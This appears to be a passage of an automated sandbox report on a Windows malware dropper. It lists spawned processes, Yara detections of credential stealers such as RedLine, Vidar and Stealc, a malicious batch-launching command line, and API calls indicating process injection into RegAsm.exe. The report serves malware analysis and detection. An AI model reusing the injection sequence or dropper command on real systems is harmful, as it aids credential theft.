Commandline:	C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe
Imagebase:	0x310000
File size:	360'824 bytes
MD5 hash:	8E3FB69A56D807D7EF1C432EA1590496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000016.00000002.1736136504.0000000003685000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:47:03
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:47:04
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:47:04
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:47:06
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x390000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:47:06
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x160000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:47:06
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:47:06
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:47:06
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x430000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xca0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000021.00000002.1573411911.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x590000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x1f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x930000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.1854151325.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x250000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000002.1890496546.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:47:07
Start date:	18/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe"
Imagebase:	0x400000
File size:	707'072 bytes
MD5 hash:	5BB9B9DE0317E5A96DBFD2FD3D94DA85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	09:47:08
Start date:	18/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000002B.00000002.2314092465.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:47:10
Start date:	18/09/2024
Path:	C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe" -i
Imagebase:	0x400000
File size:	2'433'024 bytes
MD5 hash:	33CF6AAAFE24470F75EA87BBB8E1A8D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000002C.00000002.2778026590.0000000002C61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000002C.00000002.2778125105.0000000002D01000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	09:47:10
Start date:	18/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	09:47:11
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"
Imagebase:	0x7ff7b4ee0000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	09:47:11
Start date:	18/09/2024
Path:	C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"
Imagebase:	0x330000
File size:	4'249'600 bytes
MD5 hash:	ABDBCC23BD8F767E671BAC6D2FF60335
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	91
Total number of Limit Nodes:	2

Executed Functions

Function 01B26630 Relevance: 69.8, Strings: 55, Instructions: 1098
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;, xrefs: 01B27A0A
0, xrefs: 01B26803
:, xrefs: 01B27714
-, xrefs: 01B27A9E
,, xrefs: 01B270AF
3XB, xrefs: 01B26CAF
O, xrefs: 01B2674E
Y, xrefs: 01B27193
R, xrefs: 01B27CC8
3XB, xrefs: 01B27203
R, xrefs: 01B26DB1
Y, xrefs: 01B267CD
-, xrefs: 01B26BEF
,, xrefs: 01B26728
O, xrefs: 01B26B8D
-, xrefs: 01B26785
O, xrefs: 01B270E1
0, xrefs: 01B2765A
Y, xrefs: 01B26C3F
-, xrefs: 01B27AB4
-, xrefs: 01B2712D
R, xrefs: 01B26927
0, xrefs: 01B271DB
R, xrefs: 01B27305
:, xrefs: 01B27C42
-, xrefs: 01B27143
,, xrefs: 01B26B5B
0, xrefs: 01B27B66
,, xrefs: 01B2752E
,, xrefs: 01B27A20
3XB, xrefs: 01B27B96
0, xrefs: 01B26C87
;, xrefs: 01B26718
), xrefs: 01B26C73
), xrefs: 01B27B4E
-, xrefs: 01B275C2
;, xrefs: 01B27518
;, xrefs: 01B27099
), xrefs: 01B27646
), xrefs: 01B271C7
Y, xrefs: 01B27612
3XB, xrefs: 01B27682
-, xrefs: 01B275AC
;, xrefs: 01B26B45
Y, xrefs: 01B27B12
3XB, xrefs: 01B26825
:, xrefs: 01B268B7
O, xrefs: 01B27A52
:, xrefs: 01B27295
:, xrefs: 01B26D41
-, xrefs: 01B26BD9
R, xrefs: 01B27784
), xrefs: 01B267F5
-, xrefs: 01B26795
O, xrefs: 01B27560

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID: )$)$)$)$)$,$,$,$,$,$-$-$-$-$-$-$-$-$-$-$0$0$0$0$0$3XB$3XB$3XB$3XB$3XB$:$:$:$:$:$;$;$;$;$;$O$O$O$O$O$R$R$R$R$R$Y$Y$Y$Y$Y
API String ID: 0-3117140541
Opcode ID: 1593c39c74090b7dd4607259b282f51ad6edfb01be89441fe312ac051fce163f
Instruction ID: 1c7a63c5e2747278a5faa52d66156b90b7cd2a5ff600984b7ed74f61bfa785b5
Opcode Fuzzy Hash: 1593c39c74090b7dd4607259b282f51ad6edfb01be89441fe312ac051fce163f
Instruction Fuzzy Hash: 3AC2C0B4D016298FEB64CF29DD447AABBB1FB49301F1091EAD408A7350DB799E85CF44

Function 01B230C0 Relevance: 7.6, Strings: 4, Instructions: 2609COMMON

Download Yara Rule

Strings

4'q, xrefs: 01B24FA1
(oq, xrefs: 01B231A6
4'q, xrefs: 01B23F33
4'q, xrefs: 01B240BB

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID: (oq$4'q$4'q$4'q
API String ID: 0-2528434116
Opcode ID: 31478d5d27719be948821d30a9f6539df71c5de031cddcea3b15143e396ec72f
Instruction ID: 0d833377ca77039f4f2632ae251477a86f8e0f61bc72102ec7da8b99ca4c7874
Opcode Fuzzy Hash: 31478d5d27719be948821d30a9f6539df71c5de031cddcea3b15143e396ec72f
Instruction Fuzzy Hash: A253D974A00229CFDB29CF68C888A9DB7B2BF49300F1585D9E519AB361DB35ED85CF50

Function 01B22240 Relevance: 7.1, Strings: 5, Instructions: 832COMMON

Download Yara Rule

Strings

Hq, xrefs: 01B22C68
,q, xrefs: 01B2297F
(oq, xrefs: 01B22BF1
(oq, xrefs: 01B22BFB
,q, xrefs: 01B2298F

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q$Hq
API String ID: 0-962059274
Opcode ID: d1aa7aead88a11532263e5fa8d0807302ed01e4e9725ebc4ec09acfc96321b38
Instruction ID: dbf48f901f1d42bb8ef121fe5278154a4b689f4eb57eb9f4c4755fb1af2de28b
Opcode Fuzzy Hash: d1aa7aead88a11532263e5fa8d0807302ed01e4e9725ebc4ec09acfc96321b38
Instruction Fuzzy Hash: 0B629335B002259FDB19DF69C484A6D7BB2FF88310B1585E9E90ADB365CB31EC46CB90

Function 01B25EFA Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30263393ed603d2a3f62f58f743cfa03fe32217a40e7dd816186c63aaae2a299
Instruction ID: c2268681504e7dba72f8a0668a1ffbb4d6cfa10fc2e08a7c4ec2c5b42f0c125a
Opcode Fuzzy Hash: 30263393ed603d2a3f62f58f743cfa03fe32217a40e7dd816186c63aaae2a299
Instruction Fuzzy Hash: CFF18735A002258FDB2DDF69C584AAE7BB2FF89301F1581A9DD099B351C731DC46CBA1

Function 01B20839 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69883dc870f388f1a947a08c9a5b809eb04800cfe17586704e53155fdc850b22
Instruction ID: 7743b65e6318420c369116b767eb2d5179a5efb762dbd52102e7bc8dbc57b192
Opcode Fuzzy Hash: 69883dc870f388f1a947a08c9a5b809eb04800cfe17586704e53155fdc850b22
Instruction Fuzzy Hash: F512C274A00318CFEB69DF64D854BADBBB2FB88300F1085A9D90967364DB756D82DF81

Function 01B20848 Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14257bf4c59839b677b9ffcd81631377553fe40148dec2da6fbc1268ad388aa2
Instruction ID: 9322d529a08c05a3475117975a863b3ac62a764ed1d2d29ec8fb5ffd7f538a7b
Opcode Fuzzy Hash: 14257bf4c59839b677b9ffcd81631377553fe40148dec2da6fbc1268ad388aa2
Instruction Fuzzy Hash: 8212C174A00318CFEB69DF64D854BADBBB2FB88300F2085A9D90967364DB756D81DF81

Function 05A4006A Relevance: 2.1, APIs: 1, Instructions: 590
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05A404F2

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0e96965ab538f7ec2822b0fb80c5634ba841a40b711b96acbf1613556a1f5674
Instruction ID: 986f9591a52a663bca8dd5c598ea0feed4122dc76833d8ce823eb6646b2d2671
Opcode Fuzzy Hash: 0e96965ab538f7ec2822b0fb80c5634ba841a40b711b96acbf1613556a1f5674
Instruction Fuzzy Hash: 4A41FBB4C052889FCF11CFA9D884ADEBBB0FF4A310F14945AE855BB211C738A806CF58

Function 05A408E7 Relevance: 1.8, APIs: 1, Instructions: 324
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05A40BB7

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: da0e71cd2ad3537fa8322ae80a9628923404581ce3d926d0ff50c970bff420c5
Instruction ID: 8782d1c229387eacb46ace809558b1020ade5e5f391c5fb137ee1076c63aa17f
Opcode Fuzzy Hash: da0e71cd2ad3537fa8322ae80a9628923404581ce3d926d0ff50c970bff420c5
Instruction Fuzzy Hash: 9CC11471D002298FDB24CFA4C845BEDBBB1BF49304F0095A9E959BB240DB749A85DF94

Function 05A408F0 Relevance: 1.8, APIs: 1, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05A40BB7

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 62b4ceebe5a294e8c9b18c24e1f3bef06bc580490e08435fd04fe151b994d0f7
Instruction ID: fab5b67ab9f8baae2bbadcf356c66ac4781c1cfaa32539484e1f5bee77db903e
Opcode Fuzzy Hash: 62b4ceebe5a294e8c9b18c24e1f3bef06bc580490e08435fd04fe151b994d0f7
Instruction Fuzzy Hash: 1EC12471D0022D8FDB24CFA4C845BEDBBB1BF49304F0095A9E959BB240DB749A85DF94

Function 05A40563 Relevance: 1.6, APIs: 1, Instructions: 117injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A4063B

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7667334a2927cd2136671c93dfca498854ae2de4e61c1c690d1bd844eeaac724
Instruction ID: 5be1e17a891fc785ab77e9d542eb67b1eba7ea2ef0cca306269f77d86dee8f51
Opcode Fuzzy Hash: 7667334a2927cd2136671c93dfca498854ae2de4e61c1c690d1bd844eeaac724
Instruction Fuzzy Hash: 5741BAB4D012589FCF10CFAAD984ADEFBF1BB49310F14942AE815BB240D779AA45CF54

Function 05A40568 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A4063B

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fff416fd8eed0b1a87b4cd3c87d39340660041ad13a8f24631b2a8f8945f9455
Instruction ID: ec8a9517993ffd5a49a531cb47b72e7a18157277e0afd369743d30ab15687485
Opcode Fuzzy Hash: fff416fd8eed0b1a87b4cd3c87d39340660041ad13a8f24631b2a8f8945f9455
Instruction Fuzzy Hash: BF41BBB4D012589FCF10CFAAD984ADEFBF1BB49310F10942AE815B7240D779AA45CF54

Function 05A406BB Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A40772

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3eb39c91596bf9060c6ffe96e358d8e5a2ecaee669a93b68c72c61b7ce007528
Instruction ID: 6357ff9087c767d7519a6441490dc6f68b0e7d792b6c7a81a58633d6fc1e37ff
Opcode Fuzzy Hash: 3eb39c91596bf9060c6ffe96e358d8e5a2ecaee669a93b68c72c61b7ce007528
Instruction Fuzzy Hash: A041A8B9D04258DFCF10CFAAD984AEEFBB1BB49310F14942AE815B7240D735A945CF68

Function 05A406C0 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A40772

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b7e865623f3dd69e2c6ac1682d0058eb65df8a9b546fcafe269514c8e195f974
Instruction ID: 0eab5dd85ec366813998b843f59a715ee1dc0b46ffe50b534825196de43e31a8
Opcode Fuzzy Hash: b7e865623f3dd69e2c6ac1682d0058eb65df8a9b546fcafe269514c8e195f974
Instruction Fuzzy Hash: 5641A8B9D04258DFCF10CFAAD984AEEFBB1BB49310F10942AE815B7240D735A945CF68

Function 05A40448 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05A404F2

Memory Dump Source

Source File: 00000005.00000002.1291812857.0000000005A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5a40000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 74c062a4052a1f34449f4154a0af0894166e6718b2211380b83ba9fc162d5d83
Instruction ID: e48fbe388c3597c280de765a3443bd33cacfeca251b69c593a50846b0ac399f6
Opcode Fuzzy Hash: 74c062a4052a1f34449f4154a0af0894166e6718b2211380b83ba9fc162d5d83
Instruction Fuzzy Hash: 613186B8D002589FCF10CFA9D984ADEFBB1FB49310F10942AE915BB210D735A946CF68

Function 01B2FE70 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 01B2FF27

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e602289d46b9bb0fa6f9dbd31ad5147bccfd910b3cd4c85cfabef793e7f35bce
Instruction ID: 44a9b7fe5dffd200204581957986f684fc638f53ac994f712ec51d92c029e8de
Opcode Fuzzy Hash: e602289d46b9bb0fa6f9dbd31ad5147bccfd910b3cd4c85cfabef793e7f35bce
Instruction Fuzzy Hash: 7641CCB4D012589FDB14DFAAD984AEEFBF1BB49310F14806AE418B7240D738A949CF54
